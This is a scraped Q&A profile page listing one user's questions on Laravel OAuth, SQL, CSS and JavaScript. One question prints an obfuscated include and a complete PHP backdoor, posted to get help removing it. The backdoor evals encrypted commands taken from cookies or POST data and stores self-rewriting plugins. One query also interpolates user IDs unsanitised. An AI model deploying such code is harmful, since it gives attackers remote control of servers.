RError.com

RError.com Logo RError.com Logo

RError.com Navigation

  • 主页

Mobile menu

Close
  • 主页
  • 系统&网络
    • 热门问题
    • 最新问题
    • 标签
  • Ubuntu
    • 热门问题
    • 最新问题
    • 标签
  • 帮助
主页 / user-207796

Abmin's questions

Martin Hope
Abmin
Asked: 2020-04-03 23:56:23 +0000 UTC

如何在电子邮件中制作这样的按钮?

  • 0

你好。我在Firefox中注册了一个账号,当我收到一封确认邮件的邮件时,我很惊讶我不需要打开邮件来确认邮件。我怎样才能在我来自网站的信件上制作这样的按钮,也许有人知道?还是谷歌自己对某些公司做的?

在此处输入图像描述

html5
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-03-07 06:50:49 +0000 UTC

Laravel 授权停止工作 VKontakte

  • 1

一个月后,VKontakte 对 Laravel 项目的授权停止工作。使用了社交名流包。现在,当我登录时,我收到此错误:

VkontakteProvider.php 第 92 行中的 InvalidStateException:

我查看了VK返回的内容,原来是302错误。

在此处输入图像描述

由于令牌的生命周期已经结束,我理解该错误。

它在这里抛出一个错误:

if ($this->hasInvalidState()) {
    throw new InvalidStateException();
}

但是我的知识不足以理解为什么,你能解释一下吗?

这是错误页面:

在此处输入图像描述

这是文件VkontakteProvider.php:

<?php

namespace Laravel\Socialite\Two;

use Exception;
use Illuminate\Support\Arr;

class VkontakteProvider extends AbstractProvider implements ProviderInterface
{
    protected $fields = ['uid', 'first_name', 'last_name', 'screen_name', 'photo'];

    /**
     * Unique Provider Identifier.
     */
    const IDENTIFIER = 'VKONTAKTE';

    /**
     * {@inheritdoc}
     */
    protected $scopes = ['email'];

    /**
     * {@inheritdoc}
     */
    protected function getAuthUrl($state)
    {
        return $this->buildAuthUrlFromBase(
            'https://oauth.vk.com/authorize', $state
        );
    }

    /**
     * {@inheritdoc}
     */
    protected function getTokenUrl()
    {
        return 'https://oauth.vk.com/access_token';
    }

    /**
     * {@inheritdoc}
     */
    protected function getUserByToken($token)
    {
        $response = $this->getHttpClient()->get(
            'https://api.vk.com/method/users.get?user_ids='.$token['user_id'].'&fields='.implode(',', $this->fields).'&https=1'
        );

        $response = json_decode($response->getBody()->getContents(), true)['response'][0];

        return array_merge($response, [
            'email' => Arr::get($token, 'email'),
        ]);
    }

    /**
     * {@inheritdoc}
     */
    protected function mapUserToObject(array $user)
    {
        return (new User())->setRaw($user)->map([
            'id' => Arr::get($user, 'uid'), 'nickname' => Arr::get($user, 'screen_name'),
            'name' => trim(Arr::get($user, 'first_name')),
            'email' => Arr::get($user, 'email'), 'avatar' => Arr::get($user, 'photo'),
        ]);
    }

    /**
     * {@inheritdoc}
     */
    protected function getTokenFields($code)
    {
        return array_merge(parent::getTokenFields($code), [
            'grant_type' => 'authorization_code',
        ]);
    }

    /**
     * {@inheritdoc}
     */
    protected function parseAccessToken($body)
    {
        return json_decode($body, true);
    }

    /**
     * {@inheritdoc}
     */
    public function user()
    {
        if ($this->hasInvalidState()) {
            throw new InvalidStateException();
        }

        $user = $this->mapUserToObject($this->getUserByToken(
            $token = $this->getAccessTokenResponse($this->getCode())
        ));

        return $user->setToken(Arr::get($token, 'access_token'))
            ->setExpiresIn(Arr::get($token, 'expires_in'));
    }

    /**
     * Set the user fields to request from Vkontakte.
     *
     * @param array $fields
     *
     * @return $this
     */
    public function fields(array $fields)
    {
        $this->fields = $fields;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public static function additionalConfigKeys()
    {
        return ['lang'];
    }
}
laravel
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-02-04 20:03:09 +0000 UTC

ISPmanager API 获取可用或已用物理内存的数量

  • 0

我需要找出用户留下或占用了多少物理内存,这可能吗?API 仅返回有关总共分配给用户多少内存的信息。

https://1.1.1.1:1500/ispmgr?authinfo=name:password&out=xml&func=user.edit&elid=username

在此处输入图像描述

ispmanager
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-01-23 10:15:43 +0000 UTC

Yandex oauth 给出 invalid_scope 错误

  • 3

我在 Laravel 5.5 上使用 Socialite,我在那里添加了 Yandex,但是当我进入授权页面时,Yandex 说:

无法确定请求的访问列表(invalid_scope)

生成的请求:

https://oauth.yandex.ru/authorize?client_id=3fde0c613c4941aa9b2143247d560fb5&redirect_uri=http%3A%2F%2Fgreenhoster.com%2Fauth%2Fyandex%2Fcallback&scope=openid+profile+email&response_type=code&state=6EILCMFrARHkCq5HFiV6aah8sRaAxU8GrcAisJrc

Yandex 提供商:

<?php

namespace Laravel\Socialite\Two;

use Exception;
use GuzzleHttp\ClientInterface;

class YandexProvider extends AbstractProvider implements ProviderInterface
{
    /**
     * The separating character for the requested scopes.
     *
     * @var string
     */
    protected $scopeSeparator = ' ';

    /**
     * The scopes being requested.
     *
     * @var array
     */
    protected $scopes = [
        'openid',
        'profile',
        'email',
    ];

    /**
     * {@inheritdoc}
     */
    protected function getAuthUrl($state)
    {
        return $this->buildAuthUrlFromBase(
            'https://oauth.yandex.ru/authorize', $state
        );
    }
    /**
     * {@inheritdoc}
     */
    protected function getTokenUrl()
    {
        return 'https://oauth.yandex.ru/token';
    }
    /**
     * {@inheritdoc}
     */
    protected function getUserByToken($token)
    {
        $response = $this->getHttpClient()->get(
            'https://login.yandex.ru/info?format=json', [
            'headers' => [
                'Authorization' => 'Bearer '.$token,
            ],
        ]);
        return json_decode($response->getBody()->getContents(), true);
    }
    /**
     * {@inheritdoc}
     */
    protected function mapUserToObject(array $user)
    {
        return (new User())->setRaw($user)->map([
            'id' => $user['id'],
            'nickname' => $user['login'],
            'name' => Arr::get($user, 'real_name'),
            'email' => Arr::get($user, 'default_email'),
            'avatar' => 'https://avatars.yandex.net/get-yapic/'.Arr::get($user, 'default_avatar_id').'/islands-200',
        ]);
    }
    /**
     * {@inheritdoc}
     */
    protected function getTokenFields($code)
    {
        return array_merge(parent::getTokenFields($code), [
            'grant_type' => 'authorization_code',
        ]);
    }
}
laravel
  • 2 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-12-28 02:46:34 +0000 UTC

Laravel 5 登录后重定向

  • 1

你好。登录、注册或离开网站后,网站语言变为标准语言,如何保存语言标签?

app\Http\Controllers\Auth\LoginController.php

public function authenticated()
{
    if(auth()->user()->is_admin)
    {
        return redirect('/admin');
    }

    return redirect()->route('profile', ['id' => auth()->user()->id]);
}

路线\web.php

Route::get('/profile', 'MypageController@register');

app\Http\Controllers\MyPageController.php

public function register()
{
    return redirect()->route('profile', ['id' => auth()->user()->id]);
}
laravel
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-12-27 01:38:49 +0000 UTC

客人看不到主页 / Bitrix

  • 0

如果你进入管理面板,那么主页是可见的,如果你退出管理面板,它会说:

您要查找的页面不存在或已过期。回家

在此处输入图像描述

我设置了权限,可能是什么问题?

在此处输入图像描述

битрикс
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-11-16 14:39:04 +0000 UTC

Laravel 5.3 向数据库添加唯一记录

  • 0

我想确保数据库中的条目只被用户添加了1次,即你需要检查user_id的存在,如果这个用户还没有添加任何东西,那么添加它,如果它已经添加,然后什么也不做。我知道您可以通过 user_id 获取记录数,但我想通过一个请求来完成。

$this->validate($request, [
    'user_id' => 'required|unique:user_id',
    'text' => 'required',
]);

DB::table('suggestions')->insert([
    'user_id' => Auth::user()->id,
    'text' => $request->input('advert'),
]);
sql
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-11-05 01:42:34 +0000 UTC

从 Opencart 2 迁移到 Laravel 5

  • 2

将站点从 Opencart 2 移动到 Laravel 5,但是在迁移用户时出现了问题。在 Opencart 2 中,散列是这样发生的:

sha1($salt.sha1($salt.sha1($password)))

在 Laravel 5 中有所不同,我不知道该怎么办,只需重置所有密码并将新密码发送到邮件?通过蛮力排序需要2年多的时间:)

我不想将散列方法更改为 Laravel,您能提出正确的解决方案吗?

laravel
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-10-30 02:51:38 +0000 UTC

Laravel 5 在查询中按数组搜索

  • 0

我在数据库中有记录,并且在一列中有数组,就像["1", "2", "3"] 我想显示的那样,例如,数组中存在数字2的所有记录。

我该怎么做?

这是我的要求:

$tasks = Task::select(['id', 'title', 'price', 'status', 'date'])
   ->where('category', 1)
   ->where('subcategory', $id) // нужно чтобы здесь искало в массиве $id
   ->where('status', '!=', 0)
   ->where('status', '!=', 6)
   ->orderBy('created_at', 'DESC')
   ->paginate($taskcount);
php
  • 2 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-09-23 06:54:09 +0000 UTC

在全屏模式下无法在块内滚动

  • 1

由于代码在这里不起作用,您需要查看Codepen。

我用滚动制作了一个块,里面是一个子块。当您按下缩放按钮时,浏览器中的全屏模式会打开,但如果块不适合屏幕(例如,从手机中,当我们的屏幕小于块时),滚动将停止工作。

在此处输入图像描述

$(".zoom").click(function() {
  var conf = $(this).attr("data-status");
  fullScreen(conf)
});

function fullScreen(conf) {
  var docelem = $("#game").get(0);
  if (conf == "true") {
    if (docelem.requestFullscreen) {
      docelem.requestFullscreen();
    } else if (docelem.mozRequestFullScreen) {
      docelem.mozRequestFullScreen();
    } else if (docelem.webkitRequestFullScreen) {
      docelem.webkitRequestFullScreen();
    } else if (docelem.msRequestFullscreen) {
      docelem.msRequestFullscreen();
    }
  } else {
    if (document.exitFullscreen) {
      document.exitFullscreen();
    } else if (document.webkitExitFullscreen) {
      document.webkitExitFullscreen();
    } else if (document.mozCancelFullScreen) {
      document.mozCancelFullScreen();
    } else if (document.msExitFullscreen) {
      document.msExitFullscreen();
    }
  }
}

$("#game").get(0).addEventListener("webkitfullscreenchange", onfullscreenchange);
$("#game").get(0).addEventListener("mozfullscreenchange", onfullscreenchange);
$("#game").get(0).addEventListener("fullscreenchange", onfullscreenchange);

function onfullscreenchange() {
  var docelem = $("#game").get(0);
  var conf = $(".zoom").attr("data-status");
  if (conf == "true") {
    if (docelem.requestFullscreen) {
      $(".zoom").attr("data-status", "false");
    } else if (docelem.mozRequestFullScreen) {
      $(".zoom").attr("data-status", "false");
    } else if (docelem.webkitRequestFullScreen) {
      $(".zoom").attr("data-status", "false");
    } else if (docelem.msRequestFullscreen) {
      $(".zoom").attr("data-status", "false");
    }
  } else {
    if (document.exitFullscreen) {
      $(".zoom").attr("data-status", "true");
    } else if (document.webkitExitFullscreen) {
      $(".zoom").attr("data-status", "true");
    } else if (document.mozCancelFullScreen) {
      $(".zoom").attr("data-status", "true");
    } else if (document.msExitFullscreen) {
      $(".zoom").attr("data-status", "true");
    }
  }
}
#game {
  position: relative;
  margin: 0 auto;
  left: 0;
  top: 0;
  overflow: auto;
  z-index: 5;
  background: url(https://americanlibrariesmagazine.org/wp-content/uploads/2016/10/01caldecat.jpg);
  height: 500px;
  width: 500px;
}

.right-block {
  overflow: auto;
  width: 300px;
  height: 300px;
  margin: 30px auto;
  position: relative;
}

.zoom {
  margin: 5px;
  position: fixed;
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div class="right-block">
  <section id="game">
    <input type="button" class="zoom" value="Zoom" data-status="true">
  </section>
</div>

javascript
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-09-21 04:36:57 +0000 UTC

从 3 个 SQL 表中选择数据

  • 1

简而言之,数据库中有 3 个表:

  1. 所有球员名单
  2. 这些玩家的名字列表(分开,因为这里有关于账户的所有数据)
  3. 好友列表(谁在游戏中将谁添加到好友中)

我需要从表 2(列)中获取名称,从表 1(列firstname)中获取经验量,exp并检查玩家的 id 是否在表 3 中(在列中user1)user2。

我的请求:

SELECT
f.exp AS Exp,
u.firstname AS Name
FROM farmer f
JOIN customer u ON f.userId = u.customer_id
JOIN friendship fr ON fr.user1 = 33 OR fr.user2 = 33
ORDER BY (f.exp) DESC

它有效,但获得了重复项。我做错了什么?

在此处输入图像描述

答案:

结果,我收到了以下请求。这是从三个表中选择的朋友列表和添加为玩家朋友的人。

SELECT DISTINCT
userId as id,
exp,
oc_customer.firstname as name,
CONCAT(IFNULL(fr1.question,''),IFNULL(fr2.question,'')) as status,
CONCAT(IFNULL(fr1.user2,''),IFNULL(fr2.user2,'')) as inviter
FROM farmer
LEFT JOIN oc_customer ON customer_id=userId
LEFT JOIN friendship as fr1 ON fr1.user1='$userId'
AND (fr1.question=2 OR fr1.question=1) AND fr1.user2=userId
LEFT JOIN friendship as fr2 ON fr2.user1=userId
AND (fr2.question=2 OR fr2.question=1)AND fr2.user2='$userId'
WHERE userId!='$userId'
AND ((fr1.question=2 OR fr1.question=1) OR (fr2.question=2 OR fr2.question=1))
ORDER BY (exp)
DESC

在此处输入图像描述

status - 2(好友),status - 1(好友请求),invitationer(发送请求的人)

php
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-09-03 15:09:23 +0000 UTC

区域子域

  • 0

你好。例如shop.com,有一个站点,用户在该站点上选择他的城市,如果用户选择例如莫斯科市,他将被重定向到子域moscow.shop.com。如何使主站点显示在此子域上?(而 url 必须保留moscow.shop.com)。

我在 ISP Manager 中创建了自动子域,但是当我去的时候,它显示了这个: 在此处输入图像描述

.htaccess
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-08-11 22:26:39 +0000 UTC

使用 JSON 获取 PHP 数组

  • 0

你好。我正在尝试使用 JSON 获取 PHP 数组并按国家/地区显示所有城市名称。什么都不输出。Json 有效,请在此处检查。我的错误是什么?

$json[] = file_get_contents('http://turmagnat-demo.ideaperm.ru/hotels/Output_1.json');

$array = json_decode($json, true);

$country = "Ямайка";
$city = "";

foreach ( $array  as $key => $value){
    if($value['country'] == $country) {
        $city .= $value['city'];
    }
}

echo $city;

JSON 文件示例:

[
  {
    "id": "al130489",
    "sourceUrl": "http://tophotels.ru/hotel/al130489",
    "country": "США",
    "city": "Висконсин",
    "name": "Hilton Garden Inn Appleton/Kimberly 3*",
    "description": null,
    "reviews": [],
    "images": []
  },
  {
    "id": "al277646",
    "sourceUrl": "http://tophotels.ru/hotel/al277646",
    "country": "Италия",
    "city": "Лидо ди Камайоре",
    "name": "Villa Il Fortino",
    "description": null,
    "reviews": [],
    "images": []
  }
]
php
  • 2 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-07-03 19:44:48 +0000 UTC

如何去除 CSS 中的平滑度?

  • 1

我想让猪顺利地从左到右跑,反之亦然,但是转身时,有一个流畅的动画,猪变得很瘦。在过渡中,我写到只有左边是平滑的。或者也许js有解决方案?

.pig {
    background: url(http://i.imgur.com/VEJ5nms.gif) no-repeat;
    height: 42px;
    width: 59px;
    position: absolute;
    top: 50px;
	transition: left 2.4s;
	animation: pig 4.8s infinite;
}
@keyframes pig {
    0% {
      left: 20px;
	  transform: scale(1, 1)
    }
	50% {
      left: 300px;
	  transform: scale(-1, 1)
    }
	100% {
      left: 20px;
    }
}
<div class="pig"></div>

css
  • 3 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-07-02 23:40:00 +0000 UTC

帮助修复 CSS

  • 0

有一个我转换的块。它有一个属性,当鼠标悬停在块上时,我需要属性中的文本是均匀的。我没有做对,也许有人可以提供帮助。

现在: 需要: 在此处输入图像描述 在此处输入图像描述

.pos {
    height: 75px;
    width: 162px;
    left: 100px;
    top: 100px;
    background: blue;
    transform: rotateY(-43deg) rotateX(62deg) rotate(26deg);
    border-radius: 5px;
    position: absolute;
    z-index: 2;
}
.pos:hover:before {
    visibility: visible;
    opacity: 1;
}
.pos:before {
    content: attr(data-crop);
    visibility: hidden;
    position: absolute;
    transform: rotateY(212deg) rotateX(116deg) rotate(148deg);
    font-size: 38px;
    line-height: 60px;
    background: rgba(0, 0, 0, 0.46);
    opacity: 0;
    margin-top: -72px;
    margin-left: -167px;
    width: 484px;
    text-align: center;
    color: rgb(255, 255, 255);
    transition: 0.5s;
}
<div class="pos" data-crop="Этот текст должен быть ровным"></div>

css
  • 2 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-06-18 18:27:22 +0000 UTC

需要正则表达式方面的帮助 | JS

  • 0

所有段落应替换[ любой текст为...

例如,текст1 [ текст2结果应该是текст1 ...

$('body').find(".cbp").text( $(this).text().replace(/\[/g, "...") );
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<p class="cbp">текст1 [ текст2</p>

<p class="cbp">текст1 [ текст2</p>

<p class="cbp">текст1 [ текст2</p>

javascript
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-05-16 19:00:12 +0000 UTC

如何从网站中删除恶意代码

  • 23

你好。最近,我开始注意到当我打开我的网站时,会重定向到某种广告网站。我开始查看我的代码,在 index.php 中我发现了这样一行:

/*1d3ec*/

@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/

当我删除多余的部分时,我得到了某个文件的路径:

home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico

我找到了这个文件,打开它,然后:

在此处输入图像描述

好吧,我认为代码已从 index.php 和文件中删除.. 第二天出现了相同样式的新代码和新文件,只是在不同的文件夹中。如何从这种感染中清除网站?

引擎:Opencart 2.1.0.1

仅安装的模块:Marketplace、Ajax Product Page Loader、[OCJazz] SeoPro、uLogin - 面板。修饰符:iSenseLabs 的本地副本 OCMOD,oc2011+ 的 Easy Blog Simple。

更改了托管密码,将 index.php 文件的属性设置为“只读”,但没有帮助。也许有人遇到过这个。感谢您阅读到最后!

UPD:病毒仍然存在,我已经清除了很多次。我决定看看恶意代码里面有什么,我请求那些能从下面的代码中理解漏洞所在的人的帮助,因为我自己熟悉 PHP 还不到一年。

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

$data = NULL;
$data_key = NULL;

$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;


if (!function_exists('file_put_contents'))
{
    function file_put_contents($n, $d, $flag = False)
    {
        $mode = $flag == 8 ? 'a' : 'w';
        $f = @fopen($n, $mode);
        if ($f === False)
        {
            return 0;
        }
        else
        {
            if (is_array($d)) $d = implode($d);
            $bytes_written = fwrite($f, $d);
            fclose($f);
            return $bytes_written;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($filename)
    {
        $fhandle = fopen($filename, "r");
        $fcontents = fread($fhandle, filesize($filename));
        fclose($fhandle);

        return $fcontents;
    }
}
function cs_get_current_filepath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function cs_decrypt($data, $key)
{
    global $cs_auth;

    return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
    global $cs_auth;

    return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}

function cs_get_plugin_config()
{
    $self_content = @file_get_contents(cs_get_current_filepath());

    $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
    if ($config_pos !== FALSE)
    {
        $config = substr($self_content, $config_pos + 32);
        $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
    }
    else
    {
        $plugins = Array();
    }

    return $plugins;
}

function cs_set_plugin_config($plugins)
{
    $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
    $self_content = @file_get_contents(cs_get_current_filepath());

    $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
    if ($config_pos !== FALSE)
    {
        $config_old = substr($self_content, $config_pos + 32);
        $self_content = str_replace($config_old, $config_enc, $self_content);

    }
    else
    {
        $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
    }

    @file_put_contents(cs_get_current_filepath(), $self_content);
}

function cs_plugin_add($name, $base64_data)
{
    $plugins = cs_get_plugin_config();

    $plugins[$name] = base64_decode($base64_data);

    cs_set_plugin_config($plugins);
}

function cs_plugin_rem($name)
{
    $plugins = cs_get_plugin_config();

    unset($plugins[$name]);

    cs_set_plugin_config($plugins);
}

function cs_plugin_load($name=NULL)
{
    foreach (cs_get_plugin_config() as $pname=>$pcontent)
    {
        if ($name)
        {
            if (strcmp($name, $pname) == 0)
            {
                eval($pcontent);
                break;
            }
        }
        else
        {
            eval($pcontent);
        }
    }
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

if (isset($data['ak']) && $cs_auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '2.0-1',
            'ak' => $data['ak'],
        );
        echo @serialize($i);
        exit;
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
    elseif ($data['a'] == 'plugin')
    {
        if($data['sa'] == 'add')
        {
            cs_plugin_add($data['p'], $data['d']);
        }
        elseif($data['sa'] == 'rem')
        {
            cs_plugin_rem($data['p']);
        }
    }
    echo $data['ak'];

}

cs_plugin_load();
}

UPD 2: 我只是查看了其中一个站点上的日志,这就是那里的内容

在此处输入图像描述

php
  • 4 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-05-11 11:37:50 +0000 UTC

如何正确地从数字中减去百分比?[关闭]

  • -6
关闭 这个问题是题外话。目前不接受回复。

根据帮助中描述的规则,这个问题很可能不对应俄语中 Stack Overflow 的主题。

5 年前关闭。

改进问题

我们需要用 PHP 编程,这样我们就可以在没有 % 的情况下找出数字 103(例如)。(% = 金额的 3%)。

即 100 + 100 * 0.03 = 103

你需要得到退货号码。

103???= 100

<?php
$amount = 100;
$amount = $amount / 100 * 3; получили 103
$amount = (float)$amount; 
$amount = ???; // на выходе нужно получить 100
echo $amount;
php
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-04-24 07:53:29 +0000 UTC

Viber API 发送消息

  • 6

你好。有一个想法是通过该站点将消息发送到 Viber 上的公共帐户。在办公室里 该网站并没有真正解释如何做到这一点。已经有账号了。例如,一个简单的表单:一个字段和一个按钮。我想在单击它时将其发送到那里。怎么做?(谷歌没有帮助)

<form>
  <input type="text">
  <input type="submit" value="Send to Viber">
</form>

php
  • 1 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-04-18 09:41:53 +0000 UTC

从 base64 显示邮件中的图像

  • 1

我得到这个数组:

在此处输入图像描述

我想将它发送到邮件以便可以看到图像。

<?php
    if($_POST != Array()) {
        $arr = $_POST['data'];

        $to = 'example@gmail.com';
        $subject = 'Новый объект';
        $message = '<html><head><title>'.$subject.'</title></head><body>';
        foreach ($arr as $k => $v) {
            if(preg_match("/^data:image/",$v)) {
                $message .= '<img src="'.$v.'">';
            } else {
                $message .= $v."<br>";
            }
        };
        $message .= "</body></html>";
        $headers  = "Content-type: text/html; charset=utf-8 \r\n";
        $headers .= "From: Новые объекты <noreply@example.com>\r\n";
        mail($to, $subject, $message, $headers);

    } 

可是就这样来了,有什么问题呢?

在此处输入图像描述

php
  • 1 个回答
  • 10 Views

Sidebar

Stats

  • 问题 10021
  • Answers 30001
  • 最佳答案 8000
  • 用户 6900
  • 常问
  • 回答
  • Marko Smith

    我看不懂措辞

    • 1 个回答
  • Marko Smith

    请求的模块“del”不提供名为“default”的导出

    • 3 个回答
  • Marko Smith

    "!+tab" 在 HTML 的 vs 代码中不起作用

    • 5 个回答
  • Marko Smith

    我正在尝试解决“猜词”的问题。Python

    • 2 个回答
  • Marko Smith

    可以使用哪些命令将当前指针移动到指定的提交而不更改工作目录中的文件?

    • 1 个回答
  • Marko Smith

    Python解析野莓

    • 1 个回答
  • Marko Smith

    问题:“警告:检查最新版本的 pip 时出错。”

    • 2 个回答
  • Marko Smith

    帮助编写一个用值填充变量的循环。解决这个问题

    • 2 个回答
  • Marko Smith

    尽管依赖数组为空,但在渲染上调用了 2 次 useEffect

    • 2 个回答
  • Marko Smith

    数据不通过 Telegram.WebApp.sendData 发送

    • 1 个回答
  • Martin Hope
    Alexandr_TT 2020年新年大赛! 2020-12-20 18:20:21 +0000 UTC
  • Martin Hope
    Alexandr_TT 圣诞树动画 2020-12-23 00:38:08 +0000 UTC
  • Martin Hope
    Air 究竟是什么标识了网站访问者? 2020-11-03 15:49:20 +0000 UTC
  • Martin Hope
    Qwertiy 号码显示 9223372036854775807 2020-07-11 18:16:49 +0000 UTC
  • Martin Hope
    user216109 如何为黑客设下陷阱,或充分击退攻击? 2020-05-10 02:22:52 +0000 UTC
  • Martin Hope
    Qwertiy 并变成3个无穷大 2020-11-06 07:15:57 +0000 UTC
  • Martin Hope
    koks_rs 什么是样板代码? 2020-10-27 15:43:19 +0000 UTC
  • Martin Hope
    Sirop4ik 向 git 提交发布的正确方法是什么? 2020-10-05 00:02:00 +0000 UTC
  • Martin Hope
    faoxis 为什么在这么多示例中函数都称为 foo? 2020-08-15 04:42:49 +0000 UTC
  • Martin Hope
    Pavel Mayorov 如何从事件或回调函数中返回值?或者至少等他们完成。 2020-08-11 16:49:28 +0000 UTC

热门标签

javascript python java php c# c++ html android jquery mysql

Explore

  • 主页
  • 问题
    • 热门问题
    • 最新问题
  • 标签
  • 帮助

Footer

RError.com

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

帮助

© 2023 RError.com All Rights Reserve   沪ICP备12040472号-5